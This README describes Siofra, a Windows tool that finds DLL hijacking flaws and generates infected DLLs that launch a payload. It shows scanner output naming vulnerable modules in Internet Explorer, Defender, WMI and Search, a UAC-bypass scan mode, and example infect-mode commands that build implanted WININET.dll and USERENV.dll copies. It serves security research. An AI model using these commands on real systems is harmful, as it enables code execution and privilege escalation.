# Summary



Siofra is a tool designed to identify and exploit DLL hijacking vulnerabilities 

in Windows programs. It is able to simulate the Windows loader in order to give 

visibility into all of the dependencies (and corresponding vulnerabilities) of 

a PE on disk, or alternatively an image file in memory corresponding to an active 

process. More significantly, the tool has the ability to easily generate DLLs to 

exploit these types of vulnerabilities via PE infection with dynamic shellcode creation. 

These infected DLLs retain the code (DllMain, exported functions) as well as the 

resources of a DLL to seamlessly preserve the functionality of the application loading 

them, while at the same time allowing the researcher to specify an executable payload 

to be either run as a separate process or loaded into the target as a module. Additionally, 

the tool contains automated methods of combining UAC auto-elevation criteria with 

the aforementioned functionality in order to scan for UAC bypass vulnerabilities.



# Vulnerabilities



At present, there is a very large number of vulnerabilities which this tool exposes. 

While testing this tool I encountered only several applications which were not vulnerable 

out of hundreds which I tested against. Note that these vulnerabilities can be exploited 

despite SafeDllSearchMode. A common misconception results from confusing the "current 

directory" (fixed with SafeDllSearchMode) with the "application directory" (the 

folder containing the .exe itself). The vast majority of DLL hijacking vulnerabilities 

currently present in Windows programs stem from the application directory (which 

comes first in the Windows search order). Several highlights are listed below in 

the output produced by the scanner in the tool. The last time these vulnerabilities 

were tested was in mid-July 2017.



* Application name: Internet Explorer

* Tested on OS: Windows 10 x64 Home/Pro

* Command/output: 



Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" 

--enum-dependency --dll-hijack



======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ========

iexplore.exe

    USER32.dll [KnownDLL]

        win32u.dll [Base]

        api-ms-win-core-privateprofile-l1-1-1.dll [API set]

            kernel32.dll [KnownDLL]

        GDI32.dll [KnownDLL]

            api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]

                gdi32full.dll [Base]

                    msvcp_win.dll [Base]

                        api-ms-win-crt-string-l1-1-0.dll [API set]

                            ucrtbase.dll [Base]

    msvcrt.dll [KnownDLL]

    api-ms-win-downlevel-shell32-l1-1-0.dll [API set]

        shcore.dll [KnownDLL]

            RPCRT4.dll [KnownDLL]

            combase.dll [KnownDLL]

                bcryptPrimitives.dll [Base]

    ADVAPI32.dll [KnownDLL]

        api-ms-win-eventing-controller-l1-1-0.dll [API set]

            sechost.dll [KnownDLL]

    iertutil.dll [!]



[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll 

(real path: C:\WINDOWS\system32\iertutil.dll)



* Application name: Windows Defender

* Tested on OS: Windows 10 x64 Home/Pro

* Command/output: 



Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" 

--enum-dependency --dll-hijack



======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ========

MpCmdRun.exe

    msvcrt.dll [KnownDLL]

    KERNEL32.dll [KnownDLL]

    OLEAUT32.dll [KnownDLL]

        msvcp_win.dll [Base]

            api-ms-win-crt-string-l1-1-0.dll [API set]

                ucrtbase.dll [Base]

        combase.dll [KnownDLL]

            RPCRT4.dll [KnownDLL]

            bcryptPrimitives.dll [Base]

    ADVAPI32.dll [KnownDLL]

        api-ms-win-eventing-controller-l1-1-0.dll [API set]

            sechost.dll [KnownDLL]

    OLE32.dll [KnownDLL]

        GDI32.dll [KnownDLL]

            api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]

                gdi32full.dll [Base]

                    USER32.dll [KnownDLL]

                        win32u.dll [Base]

    SspiCli.dll [!]

    mpclient.dll [!]

        CRYPT32.dll [Base]

            MSASN1.dll [Base]

    WINTRUST.dll [Base]



[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll 

(real path: C:\WINDOWS\system32\SspiCli.dll)



* Application name: WMI

* Tested on OS: Windows 10 x64 Home/Pro

* Command/output: 



Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency 

--dll-hijack



======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ========

wmiprvse.exe

    msvcrt.dll [KnownDLL]

    FastProx.dll [!]

        wbemcomn.dll [!]

            bcrypt.dll [!]

            WS2_32.dll [KnownDLL]

                api-ms-win-eventing-obsolete-l1-1-0.dll [API set]

                    sechost.dll [KnownDLL]

                        RPCRT4.dll [KnownDLL]

                        api-ms-win-core-heap-obsolete-l1-1-0.dll [API set]

                            kernel32.dll [KnownDLL]

    NCObjAPI.DLL [!]



[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real 

path: C:\WINDOWS\system32\wbemcomn.dll)

[!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: 

C:\WINDOWS\system32\bcrypt.dll)

[!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real 

path: C:\WINDOWS\system32\NCObjAPI.DLL)



* Application name: Windows Search Indexer/Search Protocol Host

* Tested on OS: Windows 10 x64 Home/Pro

* Command/output: 



Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency 

--dll-hijack --explicit-loadlibrary



======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ========

SearchProtocolHost.exe

    msvcrt.dll [KnownDLL]

    TQUERY.DLL [!]

        OLEAUT32.dll [KnownDLL]

            msvcp_win.dll [Base]

                api-ms-win-crt-string-l1-1-0.dll [API set]

                    ucrtbase.dll [Base]

            combase.dll [KnownDLL]

                RPCRT4.dll [KnownDLL]

                api-ms-win-core-heap-obsolete-l1-1-0.dll [API set]

                    kernel32.dll [KnownDLL]

                bcryptPrimitives.dll [Base]

        cryptdll.dll [!]

    api-ms-win-security-lsalookup-l2-1-1.dll [API set]

        advapi32.dll [KnownDLL]

            api-ms-win-eventing-controller-l1-1-0.dll [API set]

                sechost.dll [KnownDLL]

    api-ms-win-shell-namespace-l1-1-0.dll [API set]

        windows.storage.dll [Base]

            api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set]

                shlwapi.dll [KnownDLL]

                    GDI32.dll [KnownDLL]

                        api-ms-win-gdi-internal-uap-l1-1-0.dll [API set]

                            gdi32full.dll [Base]

                                USER32.dll [KnownDLL]

                                    win32u.dll [Base]

            api-ms-win-appmodel-state-l1-2-0.dll [API set]

                kernel.appcore.dll [Base]

            api-ms-win-shcore-path-l1-1-0.dll [API set]

                shcore.dll [KnownDLL]

            api-ms-win-power-base-l1-1-0.dll [API set]

                powrprof.dll [Base]

            profapi.dll [Base]

    msfte.dll [Potential explicit Unicode] [!]

    msTracer.dll [Potential explicit Unicode] [!]

    Msidle.dll [Potential explicit Unicode] [!]

    winhttp.dll [Potential explicit Unicode] [!]



[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown)

[!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: 

Unknown)



# Capabilities



The capabilities of this tool can be split into 3 separate categories, each corresponding 

to one of the execution modes of this tool.



  ## Infection mode

  

  When in infection mode, the tool is capable of generating infected copies of both 

  32 and 64-bit DLL files. These infected files are able to hijack the execution flow 

  of a target application when they are loaded during process initialization, causing 

  either a payload DLL to be loaded or a payload executable to be launched prior to 

  the execution of the target application entry point.

  

  ## File scanning mode

  

  When in file scanning mode, the tool may be given either an executable file path 

  or a folder (which will be searched for executable files, optionally with recursion) 

  which will recursively have its PE imports, delay load imports, API sets, assembly 

  dependencies, and explicitly loaded libraries enumerated and processed to determine 

  the path at which each will be loaded during runtime process initialization. With 

  this information, the tool is able to identify modules which are vulnerable to hijacking. 

  During PE processing and loader simulation, the tool is capable of handling:

    1. Modules imported using the primary PE imports section.

    2. Modules imported via delay load.

    3. WinSxS assembly dependency resolution (the PE manifest resource is parsed, assembly 

       dependency IDs are extracted, and the WinSxS module path is identified using

       a custom implementation).

    4. Explicitly loaded modules, imported via LoadLibrary at runtime.

    5. API set resolution of all of the above import types. This is achieved via a 

       custom implementation of a parser for the undocumented data structures found in 

       ApiSetSchema.dll (note that only versions 2, 4 and 6 have been tested).

    6. Searching for specific imported modules by name.

    7. Identifying Windows components which can be leveraged for UAC bypass attacks 

       (the UAC auto-elevation criteria are applied to a specified target PE in an

       automated way, then used in conjunction with a hijacking attack if one is present).

    8. Automatically detect and filter module dependencies which are not

       vulnerable on the basis of:

         * KnownDLLs

         * Exempt ("Base") DLL status. Kernelbase.dll, ntdll.dll, etc.

         * Manifest override security mechanism (used by Microsoft in sysprep.exe)

  

  ## Memory scanning mode

  

  When in memory scanning mode, the tool can either enumerate local process names/IDs 

  or it can be given a process ID to scan. Rather than parsing the image file corresponding 

  to the given PID on disk, the tool will enumerate the modules currently loaded into 

  the process and identify which of them may be vulnerable to hijacking. This is useful 

  in instances where an executable on disk is packed/obfuscated and its imports cannot 

  be identified through parsing the PE header.



# Usage



In order to display the tool usage information, simply run it with no parameters 

(output shown below). It is very important to use the appropriate compilation of 

the tool (32 or 64-bit) for the desired target depending upon whether it is a 32-bit PE 

or 64-bit PE file. Similarly, the 32-bit version of the tool can only enumerate and/or 

target 32-bit processes (Wow64 on an x64 OS) and the 64-bit version can only enumerate 

and/or target 64-bit processes. This principle applies both to scanning (Siofra64.exe 

will skip 32-bit PE and Siofra32.exe will skip 64-bit PE) and to PE infection. Siofra32.exe 

should be used to infect 32-bit DLLs and Siofra64.exe should be used to infect 64-bit 

DLLs.



When the 32-bit version of the tool is run on x64 systems Wow64 path redirection 

is explicitly disabled by the tool, which means that if you were to target \Windows\System32\notepad.exe 

it would be a 64-bit PE (and therefore \Windows\Syswow64\notepad.exe should be used instead). 

Similarly if you were to target \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe 

it would be a 64-bit PE, and therefore \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe 

should be used instead.



Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan" 

and "infect"] -v [Optional. Output verbosity level]

    Verbosity levels:

        0 - No output

        1 - Only critical success/failure status (default)

        2 - Additional status details for success/failure status, including discarded PEs

        3 - Everything

    File scan mode:

        -f [File or directory to scan]

        -r [Optional. Recursive scan]

        --signed [Optional. Process only signed binaries]

        --delayload [Optional. Include delayload imports in dependency list]

        --explicit-loadlibrary [Optional. Include potentially explicit imports in 

dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W]

        --auto-elevate [Optional. Scan only auto-elevate binaries]

    Memory scan mode:

        --pid [Target process ID to scan. When not specified, a list of either 32 

or 64-bit process names/PIDs will be enumerated (corresponding to either the 32 

or 64-bit version of this tool)]

    Any scan mode:

        --enum-dependency [Enumerate dependencies]

        --show-unmapped-apiset [Optional. Include API sets which failed to map to 

a module from output (ignored by default)]

        --dll-hijack [Enumerate DLL hijacking vulns]

        --find-module [Optional. Scan dependencies for a specific module. Note that 

this excludes KnownDLLs]

    Infect mode:

        -f [DLL file to infect]

        -o [Output file]

        --payload-path [Path of DLL to be loaded into infected DLL at runtime, 

or path of executable to be launched at runtime]

        --payload-type [The type of payload specified in the parasite payload path. 

This can be "process" (generally indicating a exe) or "library" (generally indicating 

a DLL)]



  ## Examples

  

  1. Scanning the entire home drive for 32-bit programs vulnerable to DLL hijacking 

     using either standard or delay load imports through their PE headers.

  

     Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload

  

  2. Scanning the Windows Defender application folder on an x64 version of Windows 

     for vulnerable modules loaded through the standard import table in their PE header.

  

     Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency 

     --dll-hijack

  

  3. Scanning the 32-bit Java Update Scheduler program on an x64 version of Windows 

     for vulnerable modules loaded through any known channel (standard or delayload imports, 

     WinSxS, LoadLibrary).

  

     Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java 

     Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary

  

  4. Scanning the Windows folder (and all its subfolders) for vulnerable modules 

     (imported via the standard imports table in the PE header) in 64-bit programs which 

     could be used for a UAC bypass attack (signed by Microsoft with an auto-elevate 

     manifest).

  

     Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack 

     --auto-elevate --signed

  

  5. Infecting a 32-bit copy of WININET.dll (copied from \Windows\SysWOW64\WININET.dll 

     to .\WININET_original.dll) with an implant which will launch a new notepad process 

     when loaded during process initialization by a vulnerable program. It's important 

     to note that simply loading an infected copy of this DLL (via LoadLibrary for example) 

     will not trigger the payload. Infected DLLs are only meant to work in the context 

     of a vulnerable module loaded via the standard imports section of its host process.

  

     Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type 

     process --payload-path c:\windows\system32\notepad.exe

  

  6. Infecting a 64-bit copy of USERENV.dll (copied from \Windows\System32\USERENV.dll 

     to .\USERENV_original.dll) with an implant which will load a hypothetical payload 

     DLL stored at C:\Payload.dll. It's important to note that all DLLs loaded by a 64-bit 

     process must be 64-bit DLLs, and all DLLs loaded by a 32-bit process must be 32-bit 

     DLLs. Therefore in this hypothetical scenario, Payload.dll would need to be a 64-bit PE 

     file for it to be loaded successfully by the implant in USERENV.dll.

  

     Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type 

     library --payload-path "C:\Payload.dll"

 

# Future improvements



* 32 and 64-bit versions of the tool to be combined into a single executable.

* Capability to perform PE infections which can successfully load DLL/executable 

  payloads within infected DLL files loaded explicitly via LoadLibrary or through 

  delayed imports.

* Support for all API set versions.

  

# Source code



I've decided to make some of this tool open source to help other security 

researchers understand the technical details of this project. Specifically I've 

provided assembler source code for one of the 64-bit implant shellcodes (for 64-bit PE 

DLL infection when specifying a "process" payload type).



Details surrounding other technical aspects of the tool and OS details related

to the Windows loader/search order, UAC, WinSxS etc. can be found within the

PDF for this project.



# License



Siofra is licensed under the GPL 3 license. See LICENSE.MD for details.



# Contact



Forrest Williams - forrest-RE@protonmail.com / forrest.williams@cybereason.com